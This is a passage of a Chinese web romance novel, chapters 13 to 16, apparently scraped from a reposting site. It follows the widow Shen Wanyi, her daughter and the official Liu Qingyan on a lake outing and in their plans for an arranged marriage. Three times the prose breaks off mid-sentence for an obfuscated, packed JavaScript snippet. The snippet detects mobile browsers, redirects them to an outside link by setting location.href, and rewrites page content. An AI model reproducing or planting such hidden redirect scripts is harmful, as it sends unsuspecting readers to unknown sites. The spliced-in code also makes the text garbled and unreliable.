沈婉仪听完女儿的讲述,面上不显,心里却一阵后怕。当日女儿若不是遇到的柳青砚,而是遇上什么其他心术不端的什么人......她简直不敢再细想下去。 思及此,她满眼郑重地朝着柳青砚稳稳行了个大礼,声音恳切:“大人对小女有大恩,当日若不是大人出手相助,小女恐难周全,这份恩情,沈国公府必当厚报。” “沈姑娘不必如此客气,柳某此举不求回报。阿盈姑娘如此冰雪聪明,想来若不是柳某,也定会寻到归途。举手之劳而已,姑娘不必挂怀。” 柳青砚这话说得很是谦和有礼,既抬举了梁盈,又减淡了自己的恩情,分寸拿捏得恰到好处,让人听着格外舒心。 沈婉仪此时满心都在感谢柳青砚将梁盈平安送回来,丝毫没有注意到他对梁盈的称呼已经从“梁盈姑娘”换成了“阿盈姑娘”。 沈婉仪行了礼,也想起来今日的要事来,她将藏在身后的梁盈牵过来,嘱咐道,“这位是柳大人,快见礼。” 梁盈刚刚讲完这事本以为母亲会责怪自己,于是便底气不足地躲在了后面,现在母亲唤她,却完全没有提及此事,她顿时松快下来,规规矩矩地朝着柳青砚行了个礼,“小女梁盈,见过柳大人。” 柳青砚连忙将她扶起身来,“阿盈姑娘既已见过,日后也不必再如此多礼了。” 这姑娘在她母亲面前显然比起那天要内敛不少,便是一言一行也明显不再那么肆意,想来她母亲为她今日的出行嘱咐了不少。 沈婉仪见两人已经见过,远处的画舫也靠岸了,便提议一同到画舫上去游湖。 她们所处的位置不过到栈桥中段,要上画舫还需一段距离。往湖心亭的路上,沈婉仪分寸拿捏得极好,并不与柳青砚靠得太近,即使牵着梁盈,两人中间起码都还隔着一个人的距离。 柳青砚对此并没有过多的说些什么,他明白虽然刚才一事让她对自己稍微放下了一点戒心,但要凭借此让她完全信任他,那是不可能的。 他也知道她今日约他出来见面的目的,不是为了见他,而是单纯为了孩子。 若不是为了梁盈,她说不定真会等到成婚才会与他见面,这是他早就心知肚明的事。 可真等到了见面,他的心里却仍然有个角落在叫嚣着不满,不满足于她的话里话外几乎全是孩子的事,一点都没提及他,甚至他刚刚差点迟到了,她也不在意。 他抿了抿唇,忽地就不想就这样沉默无言地向着画舫走去。 沈婉仪并不知道身旁这人活络的心思,从刚刚梁盈与她说完敬香法会一事后,她便一直在思考日后如何面对她这表妹张氏。 梁盈答应了她不告诉自己,现在都已经过了大半年了,自己再去追究,就有许多不妥之处了。 一则是两家人关系本就不错,这事除了孩子便只有张氏知晓,陡然提及恐会伤了两家的和气;这二则便是时间上的问题,她当时不发作,现在过了八九个月再来提及,恐有翻旧账之嫌;三则便是梁盈的问题了,走丢一事,显然她自己也有很大的原因,并不能完全怪到曲瑶身上。 这最后一则便是她刚刚答应梁盈的话,她已经说了不会告诉表姨,在女儿面前她不能当个言而无信之人。 “沈姑娘?沈姑娘?” 听见有人叫自己,沈婉仪回过神来,看向柳青砚,“柳大人,出了何事?” “无事。只是见沈姑娘眉头紧锁的样子,似乎是有心事?” 这是自己的家事,沈婉仪并不打算将自己的烦扰告诉柳青砚,她摇了摇头,“没什么大不了的事。” 她说完抬头刚好看见柳青砚额头上的些许汗珠,她忽地意识到,他刚刚似乎是跑过来的,倒是没见过他如此匆忙的模样。 她道,“大人往后若是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922782|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要事,提前告知便可,不必为了赶时间如此匆忙。” 柳青砚见她终于问及己身,心头微漾,面上却仍是波澜不惊,只轻声应道:“无妨,些许路程,算不上匆忙。” “今日是休沐,大人可是有要事在身?” “要事倒是算不上,只不过早些的时候陛下传召有事相商,辰时过半才出宫来,于是便来得晚了一些。”柳青砚解释道。 陛下传召还不算要事?那什么才算要事?沈婉仪有些搞不懂这位大人的心理了,不过她也并不打算在此事上与他分说,因为此时三人已然到了湖心亭,可以准备上船了。 “镜湖之美,游船皆可观之。柳大人,请吧。” “却之不恭。” 三人上了画舫,四周湖光山色一览无遗,饶是沈婉仪之前早就来过此处,仍是被美得再次惊叹不已。 只见碧波清浅,泛着粼粼波光,画舫行过处,水面划开一道弧线,几只水鸟惊起掠湖而去。行至湖中再去看沿岸,更觉层林尽染,美不胜收。 沈婉仪将女儿带到船舱,放开了牵住她的手,画舫舱内的空间很大,还有上下两层,船上除了伺候的下人便再没有闲人,梁盈可以在船舱内自由自在地玩。 梁盈一上船便把刚刚的事抛到九霄云外了,甚至连对着柳青砚也开始有了好脸色。 她邀请他一起到二层的甲板上一起玩,柳青砚知道沈婉仪邀他出来便是为了让他和孩子熟悉,于是便欣然答应了梁盈的邀请。 沈婉仪见两人要一同去二层,心里清楚这是他们熟络彼此的好机会,况且二层她早已安排人看守,想来不会出什么岔子。她本就需在底层船舱安排午膳,便索性没有一同上去。 到了二层视野更加开阔,梁盈的心情也更加愉悦,且眼下没有母亲在身旁,她便恢复之前在永兴寺那般叽叽喳喳的模样。 她每见着一处美景,就要拉着柳青砚一同欣赏,甚至还会与他分享她听过的关于此地的见闻。 柳青砚见她兴奋不已的模样,眸底尽是柔色,她说着,他便悉心听着,有时还会附和一两句,耐心十足的模样。 直到梁盈指着远方的一座塔楼,“你知道那里是什么地方吗?” 柳青砚答,“烟雨楼。” 这名字让梁盈眼睛发亮,“你去过那里吗?” “没有。” 柳青砚这话不是假话,他确实听过却没有去过。 烟雨楼是镜湖临岸的一个酒楼,临湖而建,视野极佳,虽处在城郊,但因为其临湖风光独绝,菜式精巧味佳,反倒成了文人雅士与游人休憩赏景的好去处。 柳青砚之前一直远在邺州,去岁才回的上京城,回来之后有几次有人相邀去此,但他都给回绝了。 梁盈指了指远处的烟雨楼,压低声音道,“我告诉你一个秘密。” 柳青砚见她小心翼翼生怕别人听了去的模样,眉梢微挑,压低身子侧耳倾听。 “我娘亲和我爹爹就是在那上面定情的。” “......哦,是吗?” 柳青砚垂下眼帘,遮住眸中的情绪,他的语气淡淡的,听不出喜怒。 梁盈却未感到一丝不妥,还想再说,却被沈婉仪的呼唤给打断了思绪。 “娘亲叫我们呢,我们下去吧。” 梁盈说完便下了层板,没瞧见后面之人望着烟雨楼若有所思的眼神。 14. 第 14 章 柳青砚从画舫二层下来时,依旧是那副眉眼含笑的温润模样,教人瞧不出半分端倪。 沈婉仪并不知晓他们二人在上头说了些什么,见二人神色如常,她也没去过问。 用罢午膳,沈婉仪吩咐芸香与兰黛带梁盈去二楼玩耍,自己则留在一楼内同柳青砚商议婚事的一些安排。 按照常理来讲,应该由男女双方的长辈全权操办,但柳青砚的双亲已逝,沈婉仪又不想父母太过操劳,于是两人也就没有那么拘礼。 如今两人婚期已定,六礼也只剩这最后一礼“迎亲”尚未完成,待到一月之后,迎亲礼完成,两人这桩婚事也就彻底成了。 前段时日纳征,沈父沈母原本想着柳青砚家境不算殷实,若是他送过来的聘礼微薄,也就不与他为难。 但当那日送礼的人礼单念了好一会儿也没念完时,沈国公府的一行人还是有些讶然。也不是说没有见过好东西,沈国公府祖上几代不是文官就是武将,好歹是历经几十年甚至上百年的勋贵人家,这礼单上的东西倒还算不上令人咂舌的程度。 众人惊讶的点在于,柳青砚家世一般,却能拿出这么多东西做聘礼,可见是把这些年的积蓄全部奉上了。 见到这么多聘礼,沈婉仪脸上虽端的是一贯的微笑,心里却感到困惑。 这婚事分明有名无实,这柳大人犯得上奉上自己的全部身家吗?况且圣上还赏赐有额外的礼物,他大可不必送来这么多礼物。而且以他的家世情况,就算他拿不出什么像样的聘礼,她的父母也不会怪罪于他。 这让沈婉怡不禁思考,他做此举到底是为何? 若是为的是“赐婚”的名头,沈婉怡认为尚不及此,他的家世圣上也是清楚的,要不然也不会特意在聘礼里面添了好一些东西。 这厢沈婉仪暗自思量,旁边沈父沈母脸上的笑意已然藏都藏不住。两人看着这聘礼比城中某些富庶人家的聘礼还要体面几分,顿觉这柳大人对婉婉还是挺上心的,于是心中对这新女婿的好感又多了几分。 沈婉仪想起那日的聘礼便觉得不妥,不过这也怪她没与他事先商量,现在东西已经收下了不好再退回,只好先在沈府搁下了。 沈婉仪想,若是以后和离,这些东西她是要全部还给他的,不然以后恐怕他都没有身家再娶亲了。 为了防止这种事再次发生,沈婉仪于是提议起迎亲当日的安排来。 “妾身和小女的丧期都刚满不久,此番婚事不宜大势操办,一切从简就好。” 在齐国,寻常寡妇丧期结束后再嫁,多是锣鼓喧天、大操大办的,为的是去掉前任丈夫带来的晦气,添些喜气。 但沈婉仪的这次婚事,与常人再遇良人并不相同,是以当日她并不想办得多么隆重。 “成婚之后,沈姑娘与柳某少不了要整日相对,称呼上不必如此生分,莫要让旁人听见徒生事端。”柳青砚语气温和,目光诚挚,“沈姑娘以为呢?” 柳青砚说这话时的表情十分真诚,况且这番话听上去是有几分道理,沈婉仪一时也找不到合适的理由拒绝,便应了下来。 “那我以后叫你“阿婉”可好?” 这称呼未免太过亲近。沈婉仪微微蹙眉,她与柳青砚相见不过数面,实在不习惯这般亲昵。 柳青砚看出她的迟疑,缓声解释:“柳某并无唐突之意。只是婚约已定,日后朝夕相处,这般称呼正显夫妻和睦,往后相处时也可少些生分。” “虽是做戏,但也要做全套,不是吗?” 确实是这样,这番话其实不用柳青砚说沈婉仪也明白。 这桩婚事是圣上赐婚,势必会有很多眼睛盯着,况且柳青砚还是顶着永安王府的压力来提的亲,到时两人婚后若有不睦之处,势必要被人拿来做文章。 若真到那时候,柳青砚势必首当其冲遭受波及,再然后便是她,若到时那永安王世子仍然虎视眈眈,那他们二人费的这番心思便全然白费了。 不管是为了自己还是她,柳青砚这番话倒是肺腑之言,都说到这分上了,再拒绝便显得不太礼貌了。 沈婉仪心想,不过是“做戏做全套”罢了,一个称呼而已,并不是什么大不了的事。 “那便依大人吧。” 再后来柳青砚每次都拿着“做戏做全套”来说事时,沈婉仪才后悔不该今日答应了他。她对他所有的妥协便是从这句话开始,也是这句话让他开了个口子——窥得她心软好欺,他之后才那般得寸进尺。 柳青砚见她应允,眼底笑意加深了几分,随即接上她先前的话头,“阿婉,你方才所言婚事从简,我认为略有几分欠妥。” “何以见得?”沈婉仪拿起茶盏的手微微一顿,显然没想到柳青砚会拒绝。 “你忘了,这桩婚事是圣上亲赐。若办得过于草率,岂非有负圣恩?”柳青砚声音依旧温和,却带着不容置疑的分量。 沈婉仪默然。 这一层她不是没想过,但她毕竟是梁钺遗孀,丧期刚满,迎亲当日一切从简也在情理之中,想来圣上也不会怪罪于沈国公府。可听柳青砚言下之意,倒似圣上早已将梁钺忘怀了一般。 不过听他提起赐婚,沈婉仪倒是想起另一件事来。 她为柳青砚续上茶水,问道,“说到赐婚,柳大人可否解惑,是如何说服陛下为我们二人赐的婚?” 柳青砚见她仍唤自己柳大人,垂眸浅抿了口茶,方道,“凭一道圣旨。” “圣旨?”沈婉仪眸底掠过一丝诧异,“大人的意思是......您手中早有一道圣旨?” 柳青砚颔首,语气平静无波:“当年圣上钦点探花时,曾召见过我,当日除了寻常的赏赐外,一并赐下的还有一道空白圣旨。陛下许诺凡不违礼法纲常之事,皆可恩准。” 这话入耳,沈婉仪端着茶盏的手骤然凝住,一时竟忘了动作。 这话不可不让人觉得惊讶。 她先前隐约猜到柳青砚另有后手,却万万没料到,他的后手竟是一道空白圣旨。 一道空白圣旨,凭此物,荣华富贵抬手可得,危难时更能护身保命,何等金贵。 这样一道圣旨,他竟偏偏用来求了这桩婚事,还是一桩只有名义上的婚事,沈婉仪一时竟不知该说什么。 不管他当日在万鹤楼说的话是真是假,滴水之恩涌泉相报,他反正是做到了。 再加上他先前将梁盈平安送回的恩情……沈婉仪心下暗叹,这下,倒是她欠了他的。 她今日出门时还暗自在想,父亲提起他时,已全然将他视作女婿,只觉父亲对他太过上心了些。 当时出来的急,她没有说些什么,原本计划回去后与父亲商量此事,让父亲重新衡量对他的态度。 可是现在知道了圣旨一事,她今晚提及此事时便得斟酌了,她并不是知恩不图报的人,她也不爱欠别人人情。 沈婉仪决定今晚回去把这事告知父亲,沈国公府的人脉资源,必要时还是可以向他倾斜的。 她放下茶盏,起身又行了一个礼,感激道,“大人做到这种程度,妾身无以为报,唯有铭记于心,大人日后若有差遣,整个沈国公府万死不辞。” 柳青砚见她行礼,指尖隔着衣袖轻扶她起身,温声开口,“阿婉,以后在我面前,不必如此多礼。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922783|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完,视线落在她起身时鬓边垂落的几缕碎发上,指尖微蜷,按捺住伸手替她拢好的念头,柔声道,“‘大人’二字太过生分,私下里,阿婉唤我青砚便是。” 沈婉仪张了张嘴,想到刚刚他说的那些话,最后,只轻声应下一个“好”字。 言谈终于又重新回到婚事上。 沈婉仪道,“虽是赐婚,但妾身毕竟丧期刚满,即使圣上已经淡忘梁将军一家,想来也不会在此事上与我为难。” “况且一切从简,也是在为青......大人您好。”沈婉仪偏了偏头,避开柳青砚的视线,“青砚”这两个字出口,她还有些不太适应。“毕竟大人是御史中丞,若被朝堂上的政敌借此攻击,岂不得不偿失?” “阿婉多虑了。我向圣上请旨之时,已经禀明了圣上,婚事我会尽我所能地去办,毕竟......”毕竟这是他只此一次的大婚。 后面这句话他没有说出口,他怕惊扰了她。毕竟他的阿婉尚且不知,这桩婚事,他从未当作儿戏。 这边沈婉仪见他搬出了圣上,也不好再过多推迟,只轻声道,“那边按你说的去办,但切记不可太过引人注目。”免得落人口舌。 “阿婉放心。” 正事议毕,沈婉仪方有闲暇欣赏舫外景致。 上京城的初秋,暮色比别地来得更早些。 透过画舫的窗外望出去,日头已然西斜,漫天霞色铺展开来,橘红叠着鎏金,绘满整个天际,澄澈的湖水泛着细碎的光,给人一种暖融融的错觉。 但沈婉仪知道,这不过是假象,若是此时将手放进水里,定会被冰得一颤,因为她少时就被梁钺这样捉弄过。 画舫外的风景跟着画舫缓慢游动,像是一幅流动又绚烂的秋景图,沈婉仪望着泛起涟漪的湖水,忽地想起柳青砚来自宛州朔阳,那里据说干旱季节多,每年的雨水并不丰沛,风光定与上京有很大不同。 思及此,她随口问道,““大人上次说自己是宛州朔阳人,妾身未曾去过那边,不知朔阳的风光是何种模样?想来与上京城这边的景致,该是大不相同的。” 柳青砚温声道,“确是不同,朔阳缺水,多是旱地丘坡,少见这般大辽阔水域,便是草木都多是矮小稀疏的,景致不如上京这般秀丽,不过倒也别有一番特色。” “那你岂不是也和我一样没坐过船?你今日也是第一次坐船吗?”梁盈刚从二楼下来准备见礼,便听见二人的对话,遇见同好的热络让她连本该行的礼都抛在了脑后,连忙凑上前追问。 对话陡然被女儿无礼地打断,沈婉仪感觉自己额头上的青筋暗暗跳了跳,她轻斥一声,“梁盈!”待后者乖乖行礼站好后,她才代女儿向柳青砚道歉。 “小女自幼言行无矩惯了,冒犯了大人,还望大人多加恕罪。” “阿婉,你又唤我‘大人’。”见沈婉仪有些不自然,柳青砚暗自叹了一口气,说服自己这事急不得。随后,他缓缓向梁盈招手,“无碍的,阿盈,快过来。” 梁盈瞟了一眼母亲的眼色,在得到默许之后,才踱着步子向柳青砚靠近。 他抬手轻揉梁盈发顶,回答她的提问,“我先前坐过船的。” 而且是和你母亲同船。 只不过.......她在甲板上与当时还不是你父亲的梁钺共赏风光,而我被锁在甲板下四周全是黑暗与潮湿。 “今日也不是我第一次坐船。”我和你母亲早就一起坐过船了,只不过......柳青砚望了望对面的沈婉仪,她仍全神贯注看着梁盈,怕她又说出什么无礼的话来。 只不过......她可能完全不记得有这回事。 15. 第 15 章 “好吧,我还以为你和我一样是第一次呢。”听到他的答复,梁盈稍显失望。 不过下一瞬,她突然敲了敲自己的脑袋,似乎终于想起来她是为什么下来。 她主动牵起身旁柳青砚的手,又走过去拉沈婉仪,“娘亲,你们快来,我发现了一处视野极佳的位置,那里的景色比从这里望出去还要美十倍。” 梁盈一边拉着一个人往二楼走,沈婉仪朝柳青砚看了一眼,眸中满是歉意,“阿盈莽撞,让大人见笑了。” 柳青砚却毫不在意道,“阿盈在我面前如此活泼,说明她没把我当成外人,这是好事。” 沈婉怡听到这话只略微勾了勾唇角,礼貌地笑了笑,没有接话。她总不好在柳大人面前说,其实她女儿根本没有“怕生”这一说法,在谁面前都是这般自来熟的模样。 众人一起站至画舫二楼,此处视野开阔,只见红日西沉,落霞漫天,金红霞光铺洒水面,湖水泛波,远山含黛,恍若画中。 梁盈指着远处的红日,“娘亲,你看那太阳像不像我们昨晚吃的咸蛋黄。” 沈婉仪有些哭笑不得,她虽然知道以女儿的性情不会说出什么诗情画意的话来,但也没想到女儿的比喻如此......充满生活气息。 柳青砚在一旁倒是捧场,“阿盈说得极是,这般形容鲜活有趣,倒比文人墨客的词句更显真切灵动。” 梁盈听见有人夸她,顿时喜笑颜开,忙抬着小脸邀功般地看向沈婉仪,眼底满是“你看我就是这般厉害!”的得意。 这样的模样不禁让沈婉仪失笑。女儿这傲娇的样子简直和梁钺一模一样,也是这般的禁不住夸。 ...... 趁着天色还没完全暗下来,沈婉仪叫船家将画舫开至最先停靠的岸边,准备回程。 回到城内,两家并不顺路,于是刚进城没多久便要分离,梁盈却有些依依不舍,直到分离前的最后一秒都还在拉着柳青砚的衣袖问他下次见面是什么时候。 柳青砚见状蹲下身来安抚她,语气轻柔:“快了,至多一个月便可再见面了。” 他说这话时特意顿了顿,隔着街道上的人来人往遥遥朝沈婉仪远远望过来一眼,目光灼灼。沈婉仪知道这是什么意思,他在说,下次见面,便是成亲当日了。 “而且,以后我会和阿盈一直待在一起,你说好不好?” 听见这话,梁盈眯起眼睛笑了开来,最后还像怕他反悔似的,与他击掌为誓,“一言为定!”她盼着今日一般日日一起出来玩呢。 “阿盈乖,快随娘亲回去吧。” 梁盈这才慢慢松开抓住他衣袖的手,与他道了别。 梁盈上了马车,芸香和兰黛也紧跟在后面上了车,马车外顿时只剩沈婉仪和柳青砚两个人。 他今日诸多配合,梁盈玩得很是开心,两人的关系经过今日相处熟络了许多,她今日的安排没有白费。沈婉仪为此再次向他道谢。 柳青砚无奈道,“阿婉,你为何不是在道歉就是在道谢?” 沈婉仪被这话问得一愣,开始回想连日来的一切,随即慢慢意识到,为了自己又或是为了女儿,自己在他面前竟真如他所言,不是在道歉就是道谢。 道歉大多是为着女儿,不过好在都是一些小事。 至于这道谢嘛...... 沈婉仪想,他之前所说回报祖父恩情,于她而言,在他把梁盈平安送回时,他便不欠沈府什么了。于这桩婚事上,她总是欠他的。 这两次见面,她虽多次用言语聊表谢意,可是之后,她总要拿什么东西来还他的。金银财宝也好,父亲的人脉资源也罢,她若是有的,只要他想要,她总是愿意给的,不然这道圣旨的恩情,她该如何还? 沈婉仪道,“小女莽撞,大人不仅不加怪罪,还诸多体谅,即便是为此,也当向大人道谢。” 柳青砚垂眸望着她,“阿婉,我知你尚未与我熟稔,称呼相处上便生分些。但再过一个月,我们便要成亲了,到时候希望阿婉莫要再与我如此生疏。” 街上的灯火并没有那么明亮,可是沈婉仪却能清晰看见柳青砚眼底凝着的真切期许。 他是真心实意的,沈婉仪被这陡然跳出来的念头吓了一跳。 可转念一想她就释然了,他怎么不是真心实意的,若是之后因为此事让两人落下把柄,便是因小失大了。 沈婉仪并不是分不清轻重的人,她只是尚需要一点时间。她轻轻颔首,承诺道,“大人放心。” 得到她的承诺,柳青砚眉眼皆染上笑意,“天色不早了,阿婉,快回去吧。” 到了城内,天色已经完全暗了下来,确实该回去了。 沈婉仪行完礼,道了别,转身上了马车。马车离去前,梁盈还特意从窗外探出头来再次向柳青砚挥了挥手,随后还伸出小拇指朝他摇了摇。 柳青砚知道她是在提醒他别忘了答应她的事,也伸出自己的小拇指朝她摇了摇。得到满意的答复,梁盈终于放心地坐回马车内。 马车的辘辘声渐渐远去,站在柳青砚身后的言书拿来黑色大氅披在他家大人身上,他温声提醒,“大人,夜晚寒凉,当心身体。” 见到马车消失在视野里,柳青砚才拢了拢身上的大氅上了马车。言书说得对,还有一个月的时间就要成亲了,他的身体可不能在关键时候出岔子。 想到婚事,他慢条斯理道,“府上都布置好了吗?” “大人放心,一切都按照您的吩咐准备好了。” “那便去看看吧。” 柳青砚当年来上京城参加春闱时,并没有一个自己的住处,他所住的地方是官府准备的驿站。 高中之后,他便租了一个一进的院子住着。他父母已逝,远房亲戚也多在宛州,平日里身边也就跟着个言书,日常起居伺候的人也就那几个,一个一进的院子倒也足够了。 去年他从邺州调回,或许这几年他的政绩还算突出,陛下知道此事后,便把几年前林相抄了家的一处私宅赐给了他,是以,他这才在上京城有了一个属于自己的落脚之处。 不过去年他从邺州回来后,并未入住此处,而是依旧在外面租了个院子住着。 圣上问起此事时,他只回复了一句,“孤身一人,偌大宅院倒显得清冷。”话音刚落,他便被圣上含笑催促道,“柳大人,朕看你是该成家了。” 于是几个月前当他拿出那道空白圣旨说要请旨赐婚时,圣上只问了一句“求娶的是哪家姑娘?” 在得知他求取的对象乃是吏部尚书之女沈婉仪时,圣上只嘱咐了一句,“沈正年的女儿我是知道的,那是个好姑娘,只可惜年纪轻轻便守寡了。朕给你们赐婚之后,你可要好好对人家,免得别人说朕乱点鸳鸯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922784|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他当时便答道,“陛下放心。微臣以性命作保,与沈姑娘成婚后必会倾心相待,与她白头偕老。不负圣恩,亦不负她。” 听到这话,当今圣上露出个玩味的表情来,“以性命作保?柳大人倒是敢说啊。” 言罢吩咐道,“那便叫人去拟旨吧。” ...... 柳青砚平日里都住在他所租的这处宅院里,但他明白,成婚之后再住在此处便不太妥当了。 人多了不说,他的阿婉出身名门,衣食住行皆是精细,她的女儿也是从小锦衣玉食长大,断不会住惯这一进的院子。 于是赐婚圣旨下来之后,他便令人开始着手布置府上了。 “大人,到了。” 马车在上京城西侧的一处大街上稳稳停下,柳青砚掀开车帘下来,首先引入眼帘的便是两尊气宇轩昂的石狮子。 视线往上移,朱漆大门擦得发亮,门上镶嵌着一对黄铜兽首门环,门楣上则是悬挂着一处刻着“柳府”的乌木匾额。见主人家回来,看守大门的仆役连忙将门打开把人迎进去。 这座府邸是三进的院子,格局方正又规整。一进门平整又笔直的青石板路直通前厅,屋内宽敞明亮,陈设简洁端方,边上还特意设置了一个小型的议事厅;待穿过两侧的穿山游廊,亭台水榭,便到了书房与静室所在,东西两侧还分别设有好几间厢房;待沿着石子路穿过好几道竹影重重的月洞门,便到了后院。 按照柳青砚的吩咐,后院的几间屋子都布置得很是雅致,所用的家具皆是打磨得光滑莹润的花梨木所制,摆设也尽是些低调却又不奢华的玩意儿。此时正值初秋,院子里的桂花香味正浓。 柳青砚一一看过去,想着沈婉仪的喜好,又令人将后院几间屋子里的陈列布局调整了位置,还搬走了一些可能她可能会不喜的东西。 这整座府邸虽比不上沈国公府规模壮丽,但花木亭榭错落有致,陈设器物一应俱全,处处皆透露着低调又不张扬的贵气。 此处原是前任宰相林璋的一处私宅,两边邻居也皆是些勋贵人家。宅子刚赐下来的时候,柳青砚来过一回,那时候屋内的布置陈设远比现在要富丽堂皇。想着之后他可能会与阿婉住在此处,他便令人做了好一番翻修,好在现在成果还算比较满意。 言书见状适时地递上采买的册子,“大人,这是这些时日按照您的吩咐所购置的一些物件。” 柳青砚浏览完,又吩咐了些还需添置的东西。最后,他嘱咐道,“快入冬了,阿婉怕冷,东侧暖阁的隔扇可再厚些。” “接下来的一个月,便可开始准备新房布置了。” “是,大人。” 柳青砚说完,脑海中已然浮现了座府邸挂上红绸的模样,光是想想,他的内心便按耐不住的兴奋。 终于要娶到他的阿婉了,他想。 他又想起来六年前她嫁人的模样,透过那轿帘被风掀起的一个缝隙,他也只远远窥见过她身着凤冠霞帔的隐隐一角。 他在人群中看着那个穿着喜袍,在马背上笑得合不拢嘴的男人。 艳羡,嫉妒,渴望......将他的心脏啃食的一点也不剩。 那时他的脑海里全被一个念头给占据——那马背上的人要是他那该有多好。 而如今,一个月后,他将成为那马背上的人。 成为阿婉的夫君。 16. 第 16 章 “阿盈觉得此人如何?”回府的路上,沈婉仪问起女儿对她这个未来继父印象。 梁盈没有正面回答母亲的话,而是眨巴眨巴眼反问她,“娘亲,以后每次见面,这个叔叔会像今日一样陪我一起玩吗?” 虽然刚刚分离时柳青砚已经承诺她以后会一直在一起,可梁盈关注的重点在于“一起玩”,甚至是“一起出来玩”,而不是在“一起”,只要能出来玩,在没在一起,和谁在一起对她而言并没有那么重要。 所以今天她一整天都很亢奋的原因在于,这是她守孝满之后第一次和娘亲出来玩,而不是为了参加什么宴会或是去祭祀。 沈婉仪在女儿问出这句话时,就明白自己刚刚猜对了,刚刚女儿分离时的表现恐怕会让柳青砚误认为女儿已经和他关系拉近了不少,但事实却并非如此。 她只是单纯想通过他来换取很多出来玩的机会。 想明白此,沈婉仪回答女儿的话,“娘亲与这个叔叔成亲后,这个叔叔也会像外祖父一样需要去上值,是不能整日陪你一起玩的。” 见到女儿略微失望的眼神,她补充道,“若是你每日做完了功课,时间上还有空闲的话,娘亲可以带你出去玩。” 听到这话,梁盈的双眸刚亮起来没多久又暗了下去。原因无他,她每次做功课时总是拖拖拉拉,若是先生不在一旁看着,她有时甚至耽搁到晚上也还未做完。 她很想出去玩,可是,她也真的很讨厌做功课啊! 沈婉仪见女儿翘着小嘴的模样不禁莞尔。她当然知道她为何如此,她之前早就想帮女儿改改这做功课时磨磨蹭蹭的坏习惯,如今她不必再整日拘束在府里,正好可以乘此机会“以利诱之”。 马车在沈府外停下,众人下了马车,沈婉仪带着梁盈先去拜见父母。祖孙三人一起用过晚膳,沈婉仪让兰黛先行将女儿带回了自己的院子。 沈父沈母见她此举便知道她有正事要说,便屏退了下人,书房一时只剩下他们三人。 沈婉仪率先开口,“爹,娘,那道圣旨是柳大人当年高中,圣上赐予他的。”她顿了顿,语气加重了几分,“那原本,是一道空白圣旨。” 似是没想到这个答案,屋内一时陷入了寂静,只能听到窗外夜风吹动树叶的沙沙声。 良久,沈父和沈母几乎同时开口。 “那他这恩情......” “那便是我们欠......” 夫妻俩对视一眼,林氏轻声开口,“老爷,你先说吧。” 沈正年沉声道,“一道空白圣旨,即使父亲当年救了他们母子一命,这恩情他用这圣旨也还清了。”他背着手,面色凝重,“别说还清了,就像你娘说的一样,这下是我们沈国公府欠他的了。” 沈婉仪明白父亲话中的意思,当年祖父不过碰巧路过柳家村,顺手便救下了柳青砚一家,即使不是他们,而是别的什么张家村,王家村,又或是什么张青砚、王青砚,祖父也是会救的。 不过是举手之劳,却让别人感激至此,现在别人更是用一道圣旨来还,这和祖父当年救人的初衷早已相去甚远。 “为父私底下问过曹公公,原来那日这柳青砚去请旨之前,永安王父子也是托人在圣上面前递过话的,甚至当时圣上便已经有了你许配给那萧延的念头。只是那日他去面圣后,不知对圣上说了什么,才让圣上为你们赐婚。” “现在想来,他便是动用这道圣旨了。” 一道空白圣旨的分量,比起那天的所有的聘礼加在一起都还要来得重。 林氏上前握住女儿的手,“婉婉,我们不能做那忘恩负义之人啊。”林氏这番话,既是讲给女儿听,又是讲给自己听。 这柳青砚的家世确实入不了眼,若现在不是知晓了有这桩圣旨,她原本也打算未来给女儿另寻一桩婚事的。 这边沈婉仪听到母这话却心下一惊,几乎以为母亲知道了她之后的打算,不过转念一想,母亲应该只是想提醒她莫做那过河拆桥之徒,之后另攀高枝。 毕竟在她和父亲的眼里,目前这柳青砚也就家世上差了一些,其他的条件也还算差强人意。 沈婉仪原本将此事告诉父母,只是想让父亲在未来的仕途上多提携一下柳青砚,母亲也可对他改观一些。 但没想到说着说着,母亲的话锋却偏离了正题,竟往以后莫攀高枝的方向说去了。 见父亲也在一旁点头同意母亲的话,沈婉仪回握住母亲的手,先给她吃下一剂定心丸,“娘,你放心,女儿不是那种人。” 沈婉仪确实不是这种人。 因为按照她原本的设想,她之后也不是要攀高枝,而是单纯想折了这根徒有其表的“枝”。 她把话题扳了回来,态度诚恳道,“爹,日后在朝堂上,女儿还望您多帮扶这柳大人才是。” 